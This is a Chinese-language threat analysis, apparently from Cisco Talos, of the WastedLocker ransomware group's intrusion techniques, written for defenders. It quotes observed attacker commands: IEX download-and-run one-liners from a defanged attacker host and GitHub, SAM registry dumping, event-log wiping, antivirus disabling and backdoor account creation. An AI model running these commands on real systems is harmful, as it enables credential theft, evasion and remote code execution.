2020年勒索软件 WastedLocker 是怎样造成破坏的
摘要
- 在最初破坏公司网络之后,WastedLocker背后的攻击者在激活勒索软件和要求勒索付款之前执行特权升级和横向移动。
- 使用“双重用途”工具和“ LoLBins”可以使对手在企业环境中进一步朝着自己的目标努力时,逃避检测并留在雷达之下。
- WastedLocker是对手继续使用横向移动和特权升级以最大程度地利用勒索软件造成损害的最新示例之一。
- 使用“大型猎物”继续对全球组织造成重大的运营和财务损失。
背景
勒索软件对全球组织构成严重威胁。勒索软件可以破坏计算系统的运行,攻击者要求受害者通过加密货币的形式付款,来恢复受感染系统的正常运行。随着攻击者的能力日益成熟,他们制定了新的攻击模式。最近的演变是在受害者环境内部激活勒索软件之前使用特权升级和横向移动技术。
通过在企业网络的不同系统上同时激活勒索软件,攻击者可以最大限度地扩大破坏。这通常会导致:如果只有单个端点受到影响,组织可能更愿意支付赎金要求。一些企业的备份和恢复策略可能没有经过充分的测试,而在这种情况下,他们的生产环境的很大一部分同时受到不利影响,这可能使他们更愿意支付赎金。攻击者提高赎金的数额,通常会导致索要数十万美元甚至更多赎金来恢复受感染的系统。这种方法有时被称为“大猎物狩猎”。
在过去一年攻击者频繁使用这种手段,最近最为著名的勒索软件就是“WastedLocker”,攻击者利用Cobalt Strike,Mimikatz,Empire和PowerSploit等各种“双重使用”工具集以便横向移动,跨越目标环境。而这些工具集通常是为了进行渗透测试或团队合作而开发的,但攻击者却利用这些工具。此外,使用本机操作系统功能以及通常称为“ LoLBins ”的攻击程序,攻击者可以逃避检测并在雷达下进行操作,直到他们准备激活勒索软件并告知其存在为止。
技术细节
本文重点剖析这些攻击的各个阶段,并描述在目标环境中Cisco Talos观察到WastedLocker的攻击者在目标环境中使用的战术,技术和程序。
初始访问和达成妥协
正如之前报道中所描述的那样,最初的黑客入侵似乎与假冒的谷歌Chrome更新有关,这些更新是在受害者浏览被攻击网站时通过下载攻击发送给他们的。最初的恶意软件以包含恶意JavaScript文件的ZIP压缩文件的形式发送给受害者。然后使用wscript.exe执行恶意JavaScript,以启动感染过程。
C:\Windows\System32\WScript.exe C:\Users<USERNAME>\AppData\Local\Temp\Temp1_Chrome.Update.b343b0.zip\Chrome.Update.c9a747.js |
---|
威胁参与者还利用Cobalt Strike有效载荷在受感染的系统上执行命令执行,进程注入,特权提升和进程模拟。它还用于将凭证转储到系统上,这些凭证可用于向受感染网络上的其他系统进行身份验证,以促进进一步的横向移动。
执行
POWERSHELL执行策略
PowerShell执行策略设置为“ RemoteSigned”,它允许执行本地创建的PowerShell脚本而无需对其进行签名。
powershell /c Set-ExecutionPolicy RemoteSigned |
---|
远程命令执行
PSExec实用程序在环境中的远程系统上建立命令执行。
psexec -s \< HOSTNAME>|< IP_ADDRESS> cmd |
---|
特权升级
攻击者利用msbuild.exe LoLBin 来逃避端点检测并执行Cobalt Strike有效负载。以下是用于执行这些有效负载的msbuild的示例。
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe”,”C:\Programdata\\moveme.csproj” |
---|
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe”,”C:\Programdata\\m0v3m3.csproj |
---|
### 横向移动 |
横向移动是通过利用Windows Management Instrumentation(WMI)命令行实用程序(wmic.exe)来执行的,以便于在远程系统上执行命令。此功能用于下载远程托管的PowerShell脚本,该脚本可以传递到Invoke-Expression(IEX)cmdlet并在网络上执行。下面是此活动的示例:
C:\Windows\System32\Wbem\WMIC.exe /node: process call create cmd /c powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString(‘hxxp://cofeedback[.]com/download/4uth’);jgifjgtebcndpgjk 19172 |
---|
攻击者利用Windows中的管理共享在受感染网络之间的系统之间移动数据。
凭证转储
在大多数域环境中,Windows凭据可用于对网络上的各种系统进行身份验证。恶意攻击者经常将缓存的凭据转储到他们成功入侵的系统上,以便可以将它们用于对同一安全边界或域内的其他系统进行远程身份验证。已经观察到WastedLocker背后的攻击者使用多种技术来检索受其控制的系统上的缓存凭据。
思科Talos观察到该对手利用Cobalt Strike使用Procdump转储凭据,而Procdump是Microsoft SysInternals Suite的一部分。
此外,通过使用“ reg save”命令提取以下注册表位置的内容来执行基于注册表的凭据检索。
reg save HKLM\SAM C:\programdata\SamBkup.hiv |
---|
reg save HKLM\SYSTEM C:\programdata\FileName.hiv |
攻击者利用Mass-Mimikatz,Empire的组件在网络上的多个系统上执行Mimikatz。这是通过使用WMI生成新的PowerShell进程来执行的。此PowerShell过程用于从GitHub检索MassMimikatz模块,并将其与参数一起传递给IEX以执行。然后使用参数来促进从远程系统中检索凭证。
C:\WINDOWS\SYSTEM32\WBEM\WMIC.exe /node:localhost process call create powershell /c IEX (New-ObjectNet.WebClient).DownloadString(‘https://raw.githubusercontent[.]com/PowerShellEmpire/PowerTools/master/PewPewPew/Invoke-MassMimikatz.ps1');'24346D,COMPUTERNAME2'|Invoke-MassMimikatz -Verbose > c:/programdata/2.txt |
先前的报道表明,该攻击者不再利用Empire,但是Cisco Talos观察到在主动攻击中继续使用此工具集的组件。尽管原来的Empire项目不再处于积极开发中,但此后却被分叉,新项目的开发仍在继续。但是,在这种情况下,攻击者将继续利用从原始项目存储库中检索的模块。
如前所述,攻击者具有利用多种技术来检索可在网络上重用的凭据的能力。在许多情况下,这是横向移动的最有效方法,如果攻击者可以获取特权凭据(例如服务帐户或用于管理目的的凭据),则通常会导致域环境中特权的升级。
发现
在成功破坏环境后,攻击者在受感染的系统上获得有关系统以及系统所在环境的更多信息。攻击后的这种发现过程使攻击者能够确定环境的配置方式以及横向移动的其他目标,因为他们继续朝着长期目标努力。重要的是要注意,本节中观察到的发现和枚举活动都是通过在系统上进行的手动操作员活动执行的,而不是通过脚本或其他自动化方法执行的。在某些情况下,攻击者试图执行包含印刷错误的命令行语法,然后立即对该语法进行更正并随后执行命令。
帐户和特权枚举
C:\Windows\System32\cmd.exe /C whoami /all >> C:\Users< USERNAME>\AppData\Local\Temp\rad971D8.tmp |
C:\WINDOWS\system32\net.exe user < USERNAME> /domain |
C:\WINDOWS\system32\net1 user < USERNAME> /domain |
C:\WINDOWS\system32\cmd.exe /C quser |
C:\WINDOWS\system32\quser.exe /server:< IP_ADDRESS> |
C:\Windows\system32\cmd.exe /C qwinsta |
C:\WINDOWS\system32\qwinsta.exe /server:< IP_ADDRESS> |
组成员枚举
C:\Windows\System32\cmd.exe /C net group domain admins /domain >> C:\Users<USERNAME>\AppData\Local\Temp\rad65F1C.tmp |
系统/域信任枚举
C:\Windows\system32\cmd.exe /C nltest /dclist:< DOMAIN| IP_ADDRESS> |
本地系统枚举
sc queryex type= service |
C:\Windows\System32\cmd.exe /C net start >> C:\Users<USERNAME>\AppData\Local\Temp\rad38FFC.tmp |
C:\Windows\system32\net1 start |
C:\Windows\system32\cmd.exe /C powershell Get-WmiObject win32_service -ComputerName localhost |
powershell Get-WmiObject win32_service -ComputerName localhost |
#### 网络和共享文件夹枚举 |
C:\WINDOWS\system32\cmd.exe /C net use |
C:\WINDOWS\system32\cmd.exe /C dir \< IP_ADDRESS>\c$ |
C:\Windows\system32\cmd.exe /C dir \< HOSTNAME>\c$\programdata |
C:\WINDOWS\system32\cmd.exe /C ping -n 1 < HOSTNAME> |
网络连接/出口测试
C:\Windows\system32\cmd.exe /C ping -n 1 cofeedback[.]com |
防御规避
在操作员与系统进行交互之后,攻击者使用PsExec来调用“ wevtutil.exe”实用程序。该实用程序清除了系统上本地安全事件日志的内容。攻击者没有选择删除特定的日志条目并“耗时”或操纵与日志相关的时间戳,而只是清除了日志文件的全部内容。除了清除日志条目外,还观察到攻击者禁用了在其控制下的系统上部署的端点安全软件。下面是一些示例:
清除日志条目
PsExec.exe -s \localhost cmd /c for /F tokens=* %1 in (‘wevtutil.exe el’) DO wevtutil.exe cl %1 |
停止和禁用端点保护
进行了几次尝试来禁用部署在端点系统上的安全保护,包括Symantec Endpoint Protection,Windows Defender,以及多次尝试为端点禁用Cisco AMP的失败尝试。
尝试禁用SYMANTEC ENDPOINT PROTECTION
C:\WINDOWS\system32\cmd.exe /c C:\Program Files (x86)\Symantec\Symantec Endpoint Protection\14.2.5323.2000.105\Bin\Smc.exe -stop |
C:\Program Files (x86)\Symantec\Symantec Endpoint Protection\14.2.5323.2000.105\Bin\Smc.exe -disable -sep |
尝试为端点禁用CISCO AMP
C:\Windows\system32\taskkill.exe /F /IM sfc.exe |
C:\Windows\system32\cmd.exe /C C:\Program Files\Cisco\AMP\7.2.7\sfc.exe -stop |
尝试禁用WINDOWS DEFENDER功能
当将有效负载交付给受感染环境中的其他系统时,攻击者还经常利用.NET运行时编译。
.NET运行时编译
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY / MACHINE:IX86 / OUT : C:\Users<USERNAME>\AppData\Local\Temp\RESF8F4.tmp c:\Users<USERNAME>\AppData\Local\Temp\h4bie4kg\CSC81E10858D57A44649763EE5728D5E87.TMP |
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /noconfig /fullpaths @C:\Users<USERNAME>\AppData\Local\Temp\h4bie4kg\h4bie4kg.cmdline |
攻击者用来实现对受感染环境中系统的持久访问能力的一种常见机制是创建后门帐户,攻击者可以在最初的受害之后使用此后继帐户来攻击系统。我们观察到对手试图在可用于此目的的系统上建立本地管理帐户。
C:\WINDOWS\system32\cmd.exe /C net user Admim < PASSWORD> /ADD |
C:\WINDOWS\system32\cmd.exe /C net localgroup Administrators Admim /ADD |
收集活动
WMI还用于在网络上的远程系统上执行PowerShell进程。Invoke-Expression(IEX)cmdlet从其GitHub存储库中检索PowerSploit模块“ Get-TimedScreenshot”,并在远程系统上执行该模块,以每30秒捕获一次远程系统的屏幕截图。
C:\Windows\System32\Wbem\WMIC.exe /node: process call create powershell /c IEX (New-Object System.Net.Webclient).DownloadString(‘https://raw.githubusercontent[.]com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-TimedScreenshot.ps1');Get-TimedScreenshot-Path c:\programdata\ -Interval 30 |
收集的屏幕快照保存在远程系统上的%PROGRAMDATA%目录下,以供以后检索。
总结
企业应了解攻击者是如何横向移动、提升特权,然后提升对环境的访问权限来最大化所部署勒索软件有效载荷的有效性。仅仅部署外围安全并不总是足够的,企业还应确保其具有分层的安全性,以确保它们预防,检测和响应在成功破坏外围安全防御的攻击后可能在组织网络内进行的恶意活动。 另外,企业应确保针对各种可能破坏业务运营的不同场景测试其备份和恢复策略,以确保即使在同时影响大量系统或基础架构的情况下也可以恢复。
